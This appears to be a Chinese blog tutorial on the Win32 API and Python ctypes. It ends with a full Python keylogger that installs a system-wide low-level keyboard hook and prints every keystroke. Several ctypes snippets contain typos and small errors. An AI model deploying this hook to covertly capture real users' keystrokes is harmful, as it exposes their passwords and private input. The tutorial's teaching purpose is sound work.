一、关于Windows API
Window API是微软提供的应用程序接口集合。开发应用程序时,需要通过API调用操纵系统(内核)提供的丰富功能。常用的32位Windows环境中,提供名为Win32的Windows API,开发人员可以直接调用这些Windows API。
Win32 API 最 具 代 表 的 D L L 库
分类 | 特征 |
---|---|
kernel32.dll | 提供对文件系统、设备、进程、线程等基本资源的访问功能 |
user32.dll | 提供用户接口功能,包含创建、管理窗口,接受Windows消息,在屏幕上绘制文本,显示消息框 |
advapi32.dll | 提供注册表、系统终止与重启、Windows服务启动/停止/创建、账户管理等功能 |
gdi.dll | 提供对显示器、打印机及其他输出设备的管理功能 |
comdlg32.dll | 提供文件打开、文件保存、颜色字体选择等标准对话框管理功能 |
comctl32.dll | 支持应用程序访问操作系统的状态条、进度条、工具条等功能 |
shell32.dll | 支持应用程序访问操作系统shell提供的功能 |
netapi32.dll | 支持应用程序访问操作系统提供的各种通信功能 |
二、ctypes模块。
想在python中使用Windows操作系统提供的强大功能,必须通过调用Win32 API实现。而模块ctypes,可以在python程序中调用DLL,使用C语言的变量类型。
1.Windows环境下ctypes语法:
(1)加载DLL
x = windll.kernel32
y = windll.user32
(2)调用Win32 API
在DLL名称后指出要调用的函数名
windll.user.SetWindowsHookExA
也可以指出调用API时传递参数的数据类型。
printf = libc.printf
printf.argtypes = [c_char_p,c_char_p,c_int,c_double]
printf("String '%s', Int %d,Double %f\n", "Hi" , 10 , 2.2)
还可以指定函数的返回值格式
libc.strchr.restype = c_char_p
(3)数据类型
ctypes模块提供的数据类型,python可以使用C语言中的数据类型。如下面定义整型:
i = c_int
print i.value()
也可以声明用于保存地址的指针类型并使用。
PI = POINTER(c_int)
(4)指针的传递
通过函数的参数可以传递指针。
f = c_float()
s = create_string_buffer('\000' * 32)
windll.msvcrt.sscanf("1 3.14 Hello", "%f %s",byref(f),s)
(5)回调函数。
声明并传递回调函数,以便特定事件发生时进行调用。
def py_cmp_func(a,b)
print "py_cmp_func"
return 0
CMPFUNC = CFUNCTYPE(c_int,POINTER(c_int),POINTER(c_int))
cmp_func = CMPFUNC(py_cmp_func)
widll.msvcrt.qsort(ia, len(ia), sizeof(c_int), cmp_func)
(6)结构体。
继承Structure类,声明结构体类
class POINT(Structure):
_fields_ = [("x", c_int),("y", c_int)]
point = POINT(10, 20)
2.ctypes和C,python中的变量类型对应表。
ctypes类型 | C类型 | python类型 |
---|---|---|
c_char | char | 1-character string |
c_wchar | wchar_t | 1-character unicode string |
c_byte | char | int / long |
c_ubyte | unsigned char | int/long |
c_short | short | int / long |
c_ushort | unsigned short | int/long |
c_int | int | int / long |
c_uint | unsigned int | int/long |
c_long | long | int/long |
c_ulong | unsigned long | int/long |
c_longlong | _int64或long long | int/long |
c_ulonglong | unsigned_int64或unsigned long long | int/long |
c_float | float | float |
c_double | double | float |
c_char_p | char * (NUL terminated) | string或None |
c_wchar | wchar_t * (NUL terminated) | unicode或None |
c_void_p | void * | int/long 或 None |
三、键盘钩取。
1.代码。
# -*- coding: UTF-8 -*-
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32 # (1)使用windll声明user32与kernel32类型的变量
kernel32 = windll.kernel32
WH_KEYBOARD_LL =13 # (2)变量声明
WM_KEYDOWN=0X0100
CTRL_CODE = 162
class KeyLogger: #(3)定义类实现挂钩,拆钩功能。
def __init__(self):
self.lUser32 = user32
self.hooked = None
def installHookProc(self,pointer): #(4)定义挂钩函数
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self): #(5)定义拆钩函数
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(fn): #(6)获取函数指针
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(nCode,wParam,lParam): #(7)定义钩子过程
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
hookedKey = chr(0xFFFFFFFF&lParam[0])
print(hookedKey)
if (CTRL_CODE == int(lParam[0])):
print("Ctrl pressed, call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
def startKeyLog(): #(8)传递消息
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
keyLogger = KeyLogger() #(9)启动消息钩取
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")
startKeyLog()
(1)使用windll声明user32与kernel32类型的变量.使用相应DLL提供的函数时,格式为user32.API名称或kernel32.API名称。
(2)在Win32 API 内部定义并使用变量值。
(3)定义类实现挂钩,拆钩功能。
(4)挂钩函数,使用user32 DLL 的 SetWindowsHookExA()函数设置钩子。监视事件为WH_KEYBOARD_LL(键盘钩子,用于截获系统热键),范围设置为操作系统的所有线程。
(5)拆钩函数,,使用user32 DLL 的UnhookWindowsHookEx()函数,拆除之前设置的钩子。
(6)获取函数指针,CFUNCTYPE()函数指定SetWindowsHookExA()函数所需的钩子过程的参数与参数类型。通过CMPFUNC()函数获取内部声明的函数指针。
(7)定义钩子过程,钩子过程是一种回调函数,指定事件发生时,调用其执行相应处理。
若来到的消息时VM_KEYDOWN(键盘钩子,截获按健),则打印到屏幕;若是则调用拆钩函数。完毕后将钩链控制权让给其他钩子过程也就是CallNextHookEx()函数。ps:执行hookedKey = chr(lParam[0])语句时由于lParam[0]是C中long类型,python中的int型对于他来说太长了所以我们需要将它转换成对应的ASCLL码值再转换成字符串,改写语句 :hookedKey = chr(0xFFFFFFFF&lParam[0])
(8)传递消息,GetMessageA()函数监视队列,消息进入队列后取出消息,并传递给钩链中的第一个钩子。
(9)启动消息钩取,先创建KeyLogger类,然后调用挂钩函数设置钩子,同时注册钩子过程。最后调用传递消息的函数,将进入队列的消息传递给钩链。
点击数:59